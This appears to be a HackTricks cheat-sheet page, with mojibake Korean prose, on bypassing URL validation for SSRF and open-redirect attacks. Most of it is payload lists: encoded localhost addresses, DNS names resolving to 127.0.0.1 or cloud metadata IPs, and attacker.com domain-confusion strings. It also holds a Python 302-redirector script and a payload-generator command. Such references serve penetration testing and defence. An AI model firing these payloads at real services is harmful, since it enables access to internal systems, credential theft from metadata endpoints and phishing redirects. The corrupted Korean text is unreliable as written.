URL Format Bypass
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๋ก์ปฌํธ์คํธ
# Localhost
0 # Yes, just 0 is localhost in Linuc
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://127.1:80
http://127.000000000000000.1
http://0
http:@0/ --> http://localhost/
http://0.0.0.0:80
http://localhost:80
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:3128/ Squid
http://[0000::1]:80/
http://[0:0:0:0:0:ffff:127.0.0.1]/thefile
http://โ โกโฆ.โช.โช.โช
# CDIR bypass
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0
# Dot bypass
127ใ0ใ0ใ1
127%E3%80%820%E3%80%820%E3%80%821
# Decimal bypass
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1
# Octal Bypass
http://0177.0000.0000.0001
http://00000177.00000000.00000000.00000001
http://017700000001
# Hexadecimal bypass
127.0.0.1 = 0x7f 00 00 01
http://0x7f000001/ = http://127.0.0.1
http://0xc0a80014/ = http://192.168.0.20
0x7f.0x00.0x00.0x01
0x0000007f.0x00000000.0x00000000.0x00000001
# Mixed encodings bypass
169.254.43518ย -> Partial Decimal (Class B) format combines the third and fourth parts of the IP address into a decimal number
0xA9.254.0251.0376ย -> hexadecimal, decimal and octal
# Add 0s bypass
127.000000000000.1
# You can also mix different encoding formats
# https://www.silisoftware.com/tools/ipconverter.php
# Malformed and rare
localhost:+11211aaa
localhost:00011211aaaa
http://0/
http://127.1
http://127.0.1
# DNS to localhost
localtest.me = 127.0.0.1
customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1
mail.ebc.apple.com = 127.0.0.6 (localhost)
127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP)
www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
http://bugbounty.dod.network = 127.0.0.2 (localhost)
1ynrnhl.xip.io == 169.254.169.254
spoofed.burpcollaborator.net = 127.0.0.1
.png)
Burp ํ์ฅ Burp-Encode-IP๋ IP ํ์ ์ฐํ๋ฅผ ๊ตฌํํฉ๋๋ค.
๋๋ฉ์ธ ํ์
https:attacker.com
https:/attacker.com
http:/\/\attacker.com
https:/\attacker.com
//attacker.com
\/\/attacker.com/
/\/attacker.com/
/attacker.com
%0D%0A/attacker.com
#attacker.com
#%20@attacker.com
@attacker.com
http://169.254.1698.254\@attacker.com
attacker%00.com
attacker%E3%80%82com
attackerใcom
โถโโโถโธโโบโก.โธโโ
โ โก โข โฃ โค โฅ โฆ โง โจ โฉ โช โซ โฌ โญ โฎ โฏ โฐ โฑ โฒ โณ โด โต โถ โท โธ โน โบ โป โผ โฝ โพ
โฟ โ โ โ โ โ โ
โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ
โ โ โ โ โ โ โ โ โ โก โข โฃ โค โฅ โฆ โง โจ โฉ โช โซ โฌ โญ โฎ โฏ โฐ
โฑ โฒ โณ โด โต โถ โท โธ โน โบ โป โผ โฝ โพ โฟ โ โ โ โ โ โ
โ โ โ โ
โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โก โข
โฃ โค โฅ โฆ โง โจ โฉ โช โซ โฌ โญ โฎ โฏ โฐ โฑ โฒ โณ โด โต โถ โท โธ โน โบ โป โผ โฝ โพ โฟ
๋๋ฉ์ธ ํผ๋
# Try also to change attacker.com for 127.0.0.1 to try to access localhost
# Try replacing https by http
# Try URL-encoded characters
https://{domain}@attacker.com
https://{domain}.attacker.com
https://{domain}%6D@attacker.com
https://attacker.com/{domain}
https://attacker.com/?d={domain}
https://attacker.com#{domain}
https://attacker.com@{domain}
https://attacker.com#@{domain}
https://attacker.com%23@{domain}
https://attacker.com%00{domain}
https://attacker.com%0A{domain}
https://attacker.com?{domain}
https://attacker.com///{domain}
https://attacker.com\{domain}/
https://attacker.com;https://{domain}
https://attacker.com\{domain}/
https://attacker.com\.{domain}
https://attacker.com/.{domain}
https://attacker.com\@@{domain}
https://attacker.com:\@@{domain}
https://attacker.com#\@{domain}
https://attacker.com\anything@{domain}/
https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com
# On each IP position try to put 1 attackers domain and the others the victim domain
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
#Parameter pollution
next={domain}&next=attacker.com
Paths and Extensions Bypass
URL๊ฐ ๊ฒฝ๋ก๋ ํ์ฅ์๋ก ๋๋์ผ ํ๊ฑฐ๋ ๊ฒฝ๋ก๋ฅผ ํฌํจํด์ผ ํ๋ ๊ฒฝ์ฐ, ๋ค์ ์ฐํ ๋ฐฉ๋ฒ ์ค ํ๋๋ฅผ ์๋ํ ์ ์์ต๋๋ค:
https://metadata/vulerable/path#/expected/path
https://metadata/vulerable/path#.extension
https://metadata/expected/path/..%2f..%2f/vulnerable/path
Fuzzing
The tool recollapse๋ ์ฃผ์ด์ง ์ ๋ ฅ์์ ๋ณํ์ ์์ฑํ์ฌ ์ฌ์ฉ๋ regex๋ฅผ ์ฐํํ๋ ค๊ณ ์๋ํ ์ ์์ต๋๋ค. ๋ ๋ง์ ์ ๋ณด๋ ์ด ๊ฒ์๋ฌผ์ ํ์ธํ์ธ์.
Automatic Custom Wordlists
URL validation bypass cheat sheet ์น์ฑ์์ ํ์ฉ๋ ํธ์คํธ์ ๊ณต๊ฒฉ์์ ํธ์คํธ๋ฅผ ์ ๋ ฅํ๋ฉด ์๋ํ URL ๋ชฉ๋ก์ ์์ฑํด์ค๋๋ค. ๋ํ URL์ ๋งค๊ฐ๋ณ์, Host ํค๋ ๋๋ CORS ํค๋์์ ์ฌ์ฉํ ์ ์๋์ง ๊ณ ๋ คํฉ๋๋ค.
URL validation bypass cheat sheet for SSRF/CORS/Redirect - 2024 Edition | Web Security Academy
Bypass via redirect
์๋ฒ๊ฐ SSRF์ ์๋ ์์ฒญ์ ํํฐ๋งํ๊ณ ๊ทธ ์์ฒญ์ ๋ํ ๊ฐ๋ฅํ ๋ฆฌ๋๋ ์
์๋ต์ ํํฐ๋งํ์ง ์์ ๊ฐ๋ฅ์ฑ์ด ์์ต๋๋ค.
์๋ฅผ ๋ค์ด, url=https://www.google.com/๋ฅผ ํตํด SSRF์ ์ทจ์ฝํ ์๋ฒ๋ url ๋งค๊ฐ๋ณ์๋ฅผ ํํฐ๋งํ ์ ์์ต๋๋ค. ๊ทธ๋ฌ๋ python ์๋ฒ๋ฅผ ์ฌ์ฉํ์ฌ 302๋ก ์๋ตํ๋ฉด ๋ฆฌ๋๋ ์
ํ๋ ค๋ ์์น๋ก ์ด๋ํ ์ ์์ผ๋ฉฐ, ํํฐ๋ง๋ IP ์ฃผ์์ธ 127.0.0.1 ๋๋ ํํฐ๋ง๋ ํ๋กํ ์ฝ์ธ gopher์ ์ ๊ทผํ ์ ์์ ์ ์์ต๋๋ค.
์ด ๋ณด๊ณ ์๋ฅผ ํ์ธํ์ธ์.
#!/usr/bin/env python3
#python3 ./redirector.py 8000 http://127.0.0.1/
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
if len(sys.argv)-1 != 2:
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
sys.exit()
class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
์ค๋ช ๋ ํธ๋ฆญ
๋ธ๋์ฌ๋์ ํธ๋ฆญ
_๋ธ๋์ฌ๋์ ํธ๋ฆญ_์ WHATWG URL ํ์ค๊ณผ RFC3986 ๊ฐ์ ์ฐจ์ด๋ฅผ ์ด์ฉํฉ๋๋ค. RFC3986์ URI์ ๋ํ ์ผ๋ฐ์ ์ธ ํ๋ ์์ํฌ์ธ ๋ฐ๋ฉด, WHATWG๋ ์น URL์ ํนํ๋์ด ์์ผ๋ฉฐ ํ๋ ๋ธ๋ผ์ฐ์ ์์ ์ฑํ๋๊ณ ์์ต๋๋ค. ์ฃผ์ ์ฐจ์ด์ ์ WHATWG ํ์ค์ด ๋ฐฑ์ฌ๋์(\)๋ฅผ ํฌ์๋ ์ฌ๋์(/)์ ๋๋ฑํ๊ฒ ์ธ์ํ์ฌ URL์ด ํ์ฑ๋๋ ๋ฐฉ์์ ์ํฅ์ ๋ฏธ์น๋ฉฐ, ํนํ URL์์ ํธ์คํธ ์ด๋ฆ์์ ๊ฒฝ๋ก๋ก์ ์ ํ์ ํ์ํ๋ ๊ฒ์
๋๋ค.

์ผ์ชฝ ๋๊ดํธ
์ฌ์ฉ์ ์ ๋ณด ์ธ๊ทธ๋จผํธ์ โ์ผ์ชฝ ๋๊ดํธโ ๋ฌธ์ [๋ Spring์ UriComponentsBuilder๊ฐ ๋ธ๋ผ์ฐ์ ์ ๋ค๋ฅธ ํธ์คํธ ์ด๋ฆ ๊ฐ์ ๋ฐํํ๊ฒ ํ ์ ์์ต๋๋ค: https://example.com[@attacker.com
๊ธฐํ ํผ๋
.png)
์ด๋ฏธ์ง ์ถ์ฒ: https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/
IPv6 ์กด ์๋ณ์ (%25) ํธ๋ฆญ
RFC 6874๋ฅผ ์ง์ํ๋ ํ๋ URL ํ์๋ ์กด ์๋ณ์๋ฅผ ํผ์ผํธ ๊ธฐํธ ๋ค์ ํฌํจํ ์ ์๋ ๋งํฌ ๋ก์ปฌ IPv6 ์ฃผ์๋ฅผ ํ์ฉํฉ๋๋ค. ์ผ๋ถ ๋ณด์ ํํฐ๋ ์ด ๊ตฌ๋ฌธ์ ์ธ์ํ์ง ๋ชปํ๊ณ ๋๊ดํธ๋ก ๋ฌถ์ธ IPv6 ๋ฆฌํฐ๋ด๋ง ์ ๊ฑฐํ์ฌ ๋ค์ ํ์ด๋ก๋๊ฐ ๋ด๋ถ ์ธํฐํ์ด์ค์ ๋๋ฌํ๊ฒ ํฉ๋๋ค:
http://[fe80::1%25eth0]/ # %25 = encoded '%', interpreted as fe80::1%eth0
http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style)
๋์ ์ ํ๋ฆฌ์ผ์ด์
์ด ํธ์คํธ๊ฐ ์๋๋ผ fe80::1์ธ์ง ๊ฒ์ฆํ์ง๋ง %์์ ํ์ฑ์ ์ค๋จํ๋ฉด ์์ฒญ์ ์ธ๋ถ๋ก ์๋ชป ์ฒ๋ฆฌํ ์ ์์ต๋๋ค. ํญ์ ๋ณด์ ๊ฒฐ์ ์ ๋ด๋ฆฌ๊ธฐ ์ ์ ์ฃผ์๋ฅผ ์ ๊ทํํ๊ฑฐ๋ ์ ํ์ ์์ญ ID๋ฅผ ์์ ํ ์ ๊ฑฐํ์ญ์์ค.
์ต๊ทผ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ํ์ฑ CVE (2022โ2025)
์ฌ๋ฌ ์ฃผ์ ํ๋ ์์ํฌ๋ URL ๊ฒ์ฆ์ด ์์ ํธ๋ฆญ์ผ๋ก ์ฐํ๋ ํ SSRF์ ์ ์ฉ๋ ์ ์๋ ํธ์คํธ ์ด๋ฆ ๋ถ์ผ์น ๋ฌธ์ ๋ก ๊ณ ํต๋ฐ์์ต๋๋ค:
| ์ฐ๋ | CVE | ๊ตฌ์ฑ ์์ | ๋ฒ๊ทธ ๊ฐ์ | ์ต์ PoC |
|---|---|---|---|---|
| 2024 | CVE-2024-22243 / โ22262 | Spring UriComponentsBuilder | [๋ userinfo ์น์
์์ ํ์ฉ๋์ง ์์ผ๋ฏ๋ก https://example.com\[@internal์ Spring์ ์ํด ํธ์คํธ example.com์ผ๋ก ํ์ฑ๋์ง๋ง ๋ธ๋ผ์ฐ์ ์์๋ internal๋ก ํ์ฑ๋์ด ํธ์คํธ ํ์ฉ ๋ชฉ๋ก์ด ์ฌ์ฉ๋ ๋ ์คํ ๋ฆฌ๋๋ ์
๋ฐ SSRF๋ฅผ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค. Spring 5.3.34 / 6.0.19 / 6.1.6+๋ก ์
๊ทธ๋ ์ด๋ํ์ญ์์ค. | |
| 2023 | CVE-2023-27592 | urllib3 <1.26.15 | ๋ฐฑ์ฌ๋์ ํผ๋์ผ๋ก ์ธํด http://example.com\\@169.254.169.254/๊ฐ @์์ ๋ถํ ๋๋ ํธ์คํธ ํํฐ๋ฅผ ์ฐํํ ์ ์์์ต๋๋ค. | |
| 2022 | CVE-2022-3602 | OpenSSL | ์ด๋ฆ์ด .(์ ์๋ ๋๋ฉ์ธ ํผ๋)์ผ๋ก ๋๋ ๋ ํธ์คํธ ์ด๋ฆ ๊ฒ์ฆ์ด ๊ฑด๋๋ฐ์ด์ก์ต๋๋ค. |
ํ์ฌ URL ํ์์ ์์กดํ ๋, ์ ๋ขฐํ๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์์ ๋ฐํ๋ ์ ๊ทํ๋ ํธ์คํธ์ ์ฌ์ฉ์๊ฐ ์ ๊ณตํ ์์ ๋ฌธ์์ด์ ๋น๊ตํ์ฌ ์ด๋ฌํ ๋ฌธ์ ๋ฅผ ๊ฐ์งํ์ญ์์ค.
ํ์ด๋ก๋ ์์ฑ ๋์ฐ๋ฏธ (2024+)
์๋์ผ๋ก ๋๊ท๋ชจ ์ฌ์ฉ์ ์ ์ ๋จ์ด ๋ชฉ๋ก์ ๋ง๋๋ ๊ฒ์ ๋ฒ๊ฑฐ๋กญ์ต๋๋ค. ์คํ ์์ค ๋๊ตฌ SSRF-PayloadMaker (Python 3)๋ ์ด์ ํผํฉ ์ธ์ฝ๋ฉ, ๊ฐ์ HTTP ๋ค์ด๊ทธ๋ ์ด๋ ๋ฐ ๋ฐฑ์ฌ๋์ ๋ณํ์ ํฌํจํ์ฌ 80k+ ํธ์คํธ ๋ณํ ์กฐํฉ์ ์๋์ผ๋ก ์์ฑํ ์ ์์ต๋๋ค:
# Generate every known bypass that transforms the allowed host example.com to attacker.com
python3 ssrf_maker.py --allowed example.com --attacker attacker.com -A -o payloads.txt
๊ฒฐ๊ณผ ๋ชฉ๋ก์ Burp Intruder ๋๋ ffuf์ ์ง์ ์
๋ ฅํ ์ ์์ต๋๋ค.
References
- https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md
- https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet
- https://nvd.nist.gov/vuln/detail/CVE-2024-22243
- https://github.com/hsynuzm/SSRF-PayloadMaker
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


